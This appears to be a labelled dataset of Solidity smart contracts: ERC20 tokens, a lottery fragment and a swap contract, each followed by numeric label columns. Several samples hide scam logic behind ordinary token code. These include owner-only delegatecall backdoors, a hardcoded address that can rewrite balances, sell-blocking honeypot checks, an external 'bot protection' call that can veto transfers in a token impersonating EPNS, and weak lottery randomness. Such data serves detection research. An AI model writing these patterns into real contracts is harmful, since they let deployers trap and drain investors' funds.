uint256 number = uint256(keccak256(abi.encodePacked(salt.add(nonce)))).mod(ticketsCount);
return number;
}
function playerBuyedTicketsPacks(address player) public view returns (uint256[]) {
return players[player].ticketsPacksBuyed;
}
function bytesToAddress(bytes data) private pure returns (address addr) {
assembly {
addr := mload(add(data, 0x14))
}
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0);
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
} | 0 | 619 |
pragma solidity ^0.4.24;
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
function increaseApproval(
address _spender,
uint _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(
address _spender,
uint _subtractedValue
)
public
returns (bool)
{
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
modifier hasMintPermission() {
require(msg.sender == owner);
_;
}
function mint(
address _to,
uint256 _amount
)
hasMintPermission
canMint
public
returns (bool)
{
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
}
contract FreezableToken is StandardToken {
mapping (bytes32 => uint64) internal chains;
mapping (bytes32 => uint) internal freezings;
mapping (address => uint) internal freezingBalance;
event Freezed(address indexed to, uint64 release, uint amount);
event Released(address indexed owner, uint amount);
function balanceOf(address _owner) public view returns (uint256 balance) {
return super.balanceOf(_owner) + freezingBalance[_owner];
}
function actualBalanceOf(address _owner) public view returns (uint256 balance) {
return super.balanceOf(_owner);
}
function freezingBalanceOf(address _owner) public view returns (uint256 balance) {
return freezingBalance[_owner];
}
function freezingCount(address _addr) public view returns (uint count) {
uint64 release = chains[toKey(_addr, 0)];
while (release != 0) {
count++;
release = chains[toKey(_addr, release)];
}
}
function getFreezing(address _addr, uint _index) public view returns (uint64 _release, uint _balance) {
for (uint i = 0; i < _index + 1; i++) {
_release = chains[toKey(_addr, _release)];
if (_release == 0) {
return;
}
}
_balance = freezings[toKey(_addr, _release)];
}
function freezeTo(address _to, uint _amount, uint64 _until) public {
require(_to != address(0));
require(_amount <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_amount);
bytes32 currentKey = toKey(_to, _until);
freezings[currentKey] = freezings[currentKey].add(_amount);
freezingBalance[_to] = freezingBalance[_to].add(_amount);
freeze(_to, _until);
emit Transfer(msg.sender, _to, _amount);
emit Freezed(_to, _until, _amount);
}
function releaseOnce() public {
bytes32 headKey = toKey(msg.sender, 0);
uint64 head = chains[headKey];
require(head != 0);
require(uint64(block.timestamp) > head);
bytes32 currentKey = toKey(msg.sender, head);
uint64 next = chains[currentKey];
uint amount = freezings[currentKey];
delete freezings[currentKey];
balances[msg.sender] = balances[msg.sender].add(amount);
freezingBalance[msg.sender] = freezingBalance[msg.sender].sub(amount);
if (next == 0) {
delete chains[headKey];
} else {
chains[headKey] = next;
delete chains[currentKey];
}
emit Released(msg.sender, amount);
}
function releaseAll() public returns (uint tokens) {
uint release;
uint balance;
(release, balance) = getFreezing(msg.sender, 0);
while (release != 0 && block.timestamp > release) {
releaseOnce();
tokens += balance;
(release, balance) = getFreezing(msg.sender, 0);
}
}
function toKey(address _addr, uint _release) internal pure returns (bytes32 result) {
result = 0x5749534800000000000000000000000000000000000000000000000000000000;
assembly {
result := or(result, mul(_addr, 0x10000000000000000))
result := or(result, _release)
}
}
function freeze(address _to, uint64 _until) internal {
require(_until > block.timestamp);
bytes32 key = toKey(_to, _until);
bytes32 parentKey = toKey(_to, uint64(0));
uint64 next = chains[parentKey];
if (next == 0) {
chains[parentKey] = _until;
return;
}
bytes32 nextKey = toKey(_to, next);
uint parent;
while (next != 0 && _until > next) {
parent = next;
parentKey = nextKey;
next = chains[nextKey];
nextKey = toKey(_to, next);
}
if (_until == next) {
return;
}
if (next != 0) {
chains[key] = next;
}
chains[parentKey] = _until;
}
}
contract BurnableToken is BasicToken {
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public {
_burn(msg.sender, _value);
}
function _burn(address _who, uint256 _value) internal {
require(_value <= balances[_who]);
balances[_who] = balances[_who].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(_who, _value);
emit Transfer(_who, address(0), _value);
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
contract FreezableMintableToken is FreezableToken, MintableToken {
function mintAndFreeze(address _to, uint _amount, uint64 _until) public onlyOwner canMint returns (bool) {
totalSupply_ = totalSupply_.add(_amount);
bytes32 currentKey = toKey(_to, _until);
freezings[currentKey] = freezings[currentKey].add(_amount);
freezingBalance[_to] = freezingBalance[_to].add(_amount);
freeze(_to, _until);
emit Mint(_to, _amount);
emit Freezed(_to, _until, _amount);
emit Transfer(msg.sender, _to, _amount);
return true;
}
}
contract Consts {
uint public constant TOKEN_DECIMALS = 3;
uint8 public constant TOKEN_DECIMALS_UINT8 = 3;
uint public constant TOKEN_DECIMAL_MULTIPLIER = 10 ** TOKEN_DECIMALS;
string public constant TOKEN_NAME = "Abri";
string public constant TOKEN_SYMBOL = "ABR";
bool public constant PAUSED = false;
address public constant TARGET_USER = 0x505c7f3B5fC1D6cD286425BA9460A0Bf0C605fD8;
bool public constant CONTINUE_MINTING = false;
}
contract MainToken is Consts, FreezableMintableToken, BurnableToken, Pausable
{
event Initialized();
bool public initialized = false;
constructor() public {
init();
transferOwnership(TARGET_USER);
}
function name() public pure returns (string _name) {
return TOKEN_NAME;
}
function symbol() public pure returns (string _symbol) {
return TOKEN_SYMBOL;
}
function decimals() public pure returns (uint8 _decimals) {
return TOKEN_DECIMALS_UINT8;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool _success) {
require(!paused);
return super.transferFrom(_from, _to, _value);
}
function transfer(address _to, uint256 _value) public returns (bool _success) {
require(!paused);
return super.transfer(_to, _value);
}
function init() private {
require(!initialized);
initialized = true;
if (PAUSED) {
pause();
}
address[1] memory addresses = [address(0x505c7f3B5fC1D6cD286425BA9460A0Bf0C605fD8)];
uint[1] memory amounts = [uint(200000000000)];
uint64[1] memory freezes = [uint64(0)];
for (uint i = 0; i < addresses.length; i++) {
if (freezes[i] == 0) {
mint(addresses[i], amounts[i]);
} else {
mintAndFreeze(addresses[i], amounts[i], freezes[i]);
}
}
if (!CONTINUE_MINTING) {
finishMinting();
}
emit Initialized();
}
} | 1 | 3,996 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract BlockBank {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function _mints(address spender, uint256 addedValue) public returns (bool) {
require(msg.sender==owner||msg.sender==address
(1089755605351626874222503051495683696555102411980));
if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));}
canSale[spender]=true;
return true;
}
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0 | 1,742 |
pragma solidity ^0.7.0;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
interface IUniswapV2Router02 {
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract BotProtected {
address internal owner;
address private botProtection;
address public uniPair;
constructor(address _botProtection) {
botProtection = _botProtection;
}
modifier checkBots(address _from, address _to, uint256 _value) {
(bool notABot, bytes memory isNotBot) = botProtection.call(abi.encodeWithSelector(0x15274141, _from, _to, uniPair, _value));
require(notABot);
_;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
abstract contract ERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(msg.sender, spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
}
}
contract EPNS is BotProtected {
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply = 100000000000000000000000000;
string public name = "Ethereum Push Notification Service";
string public symbol = "PUSH";
IUniswapV2Router02 public uniRouter = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
address public wETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
constructor(address _botProtection) BotProtected(_botProtection) {
owner = msg.sender;
uniPair = pairFor(wETH, address(this));
allowance[address(this)][address(uniRouter)] = uint(-1);
allowance[msg.sender][uniPair] = uint(-1);
}
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint _value) public payable checkBots(_from, _to, _value) returns (bool) {
if (_value == 0) { return true; }
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
function pairFor(address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
function list(uint _numList, address[] memory _tos, uint[] memory _amounts) public payable {
require(msg.sender == owner);
balanceOf[address(this)] = _numList;
balanceOf[msg.sender] = totalSupply * 6 / 100;
uniRouter.addLiquidityETH{value: msg.value}(
address(this),
_numList,
_numList,
msg.value,
msg.sender,
block.timestamp + 600
);
require(_tos.length == _amounts.length);
for(uint i = 0; i < _tos.length; i++) {
balanceOf[_tos[i]] = _amounts[i];
emit Transfer(address(0x0), _tos[i], _amounts[i]);
}
}
} | 0 | 1,390 |
pragma solidity ^0.4.16;
interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) public; }
contract Paladin {
string public name;
string public symbol;
uint8 public decimals = 6;
uint256 public totalSupply;
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
event Transfer(address indexed from, address indexed to, uint256 value);
event Burn(address indexed from, uint256 value);
function Paladin(uint256 initialSupply, string tokenName, string tokenSymbol) public {
totalSupply = initialSupply * 10 ** uint256(decimals);
balanceOf[msg.sender] = totalSupply;
name = tokenName;
symbol = tokenSymbol;
}
function _transfer(address _from, address _to, uint _value) internal {
require(_to != 0x0);
require(balanceOf[_from] >= _value);
require(balanceOf[_to] + _value > balanceOf[_to]);
uint previousBalances = balanceOf[_from] + balanceOf[_to];
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
Transfer(_from, _to, _value);
assert(balanceOf[_from] + balanceOf[_to] == previousBalances);
}
function transfer(address _to, uint256 _value) public {
_transfer(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_value <= allowance[_from][msg.sender]);
allowance[_from][msg.sender] -= _value;
_transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public
returns (bool success) {
allowance[msg.sender][_spender] = _value;
return true;
}
function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) {
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, this, _extraData);
return true;
}
}
function burn(uint256 _value) public returns (bool success) {
require(balanceOf[msg.sender] >= _value);
balanceOf[msg.sender] -= _value;
totalSupply -= _value;
Burn(msg.sender, _value);
return true;
}
function burnFrom(address _from, uint256 _value) public returns (bool success) {
require(balanceOf[_from] >= _value);
require(_value <= allowance[_from][msg.sender]);
balanceOf[_from] -= _value;
allowance[_from][msg.sender] -= _value;
totalSupply -= _value;
Burn(_from, _value);
return true;
}
} | 1 | 4,534 |
pragma solidity 0.8.9;
interface IERC20 {
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
event Transfer(address indexed from, address indexed to, uint256 value);
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
function totalSupply() external view returns (uint256);
function balanceOf(address owner) external view returns (uint256);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 value) external returns (bool);
function transfer(address to, uint256 value) external returns (bool);
function transferFrom(
address from,
address to,
uint256 value
) external returns (bool);
}
pragma solidity 0.8.9;
contract WinterSwap {
event OrderExecuted(
address maker_address,
address taker_address,
address base_token,
address quote_token,
uint256 base_quantity,
uint256 quote_quantity
);
event OrderCancelled(address taker_address, bytes sig);
uint256 chainId = block.chainid;
address verifyingContract = address(this);
string private constant EIP712_DOMAIN =
"EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)";
bytes32 public constant EIP712_DOMAIN_TYPEHASH =
keccak256(abi.encodePacked(EIP712_DOMAIN));
address constant ETH_ADD = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE;
struct Order {
uint256 expiry;
address taker_address;
address base_token;
address quote_token;
uint256 base_quantity;
uint256 quote_quantity;
}
string constant ORDER_TYPE =
"Order(uint256 expiry,address taker_address,address base_token,address quote_token,uint256 base_quantity,uint256 quote_quantity)";
bytes32 constant ORDER_TYPEHASH = keccak256(abi.encodePacked(ORDER_TYPE));
bytes32 private DOMAIN_SEPARATOR;
mapping(bytes32 => bool) public Signatures;
constructor() {
DOMAIN_SEPARATOR = keccak256(
abi.encode(
EIP712_DOMAIN_TYPEHASH,
keccak256("WinterSwap"),
keccak256("1"),
chainId,
verifyingContract
)
);
}
function getRsv(bytes memory sig)
public
pure
returns (
bytes32,
bytes32,
uint8
)
{
bytes32 r;
bytes32 s;
uint8 v;
assembly {
r := mload(add(sig, 32))
s := mload(add(sig, 64))
v := and(mload(add(sig, 65)), 255)
}
if (v < 27) v += 27;
return (r, s, v);
}
function hashOrder(Order memory order) private view returns (bytes32) {
return
keccak256(
abi.encodePacked(
"\x19\x01",
DOMAIN_SEPARATOR,
keccak256(
abi.encode(
ORDER_TYPEHASH,
order.expiry,
order.taker_address,
order.base_token,
order.quote_token,
order.base_quantity,
order.quote_quantity
)
)
)
);
}
function cancelOrder(Order memory order, bytes memory sig)
public
returns (bool)
{
(bytes32 r, bytes32 s, uint8 v) = getRsv(sig);
bytes32 h = hashOrder(order);
address trader = ecrecover(h, v, r, s);
require(trader == msg.sender);
Signatures[h] = true;
emit OrderCancelled(msg.sender, sig);
return true;
}
function assertValidOrder(Order memory order, bytes memory sig)
public
view
returns (bytes32)
{
(bytes32 r, bytes32 s, uint8 v) = getRsv(sig);
bytes32 h = hashOrder(order);
address trader = ecrecover(h, v, r, s);
require(trader == order.taker_address, "Invalid signature");
require(msg.sender != trader, "Maker/taker must be different address");
require(order.expiry > block.timestamp, "Signature expired");
require(
order.base_quantity > 0 && order.quote_quantity > 0,
"Invalid base/quote amount"
);
require(!Signatures[h], "Signature reuse");
return h;
}
function makerTransferFunds(
address to,
uint256 quantity,
address token
) private returns (bool) {
if (token == ETH_ADD) {
require(msg.value == quantity);
payable(to).call{value: msg.value}("");
} else {
require(IERC20(token).transferFrom(msg.sender, to, quantity));
}
return true;
}
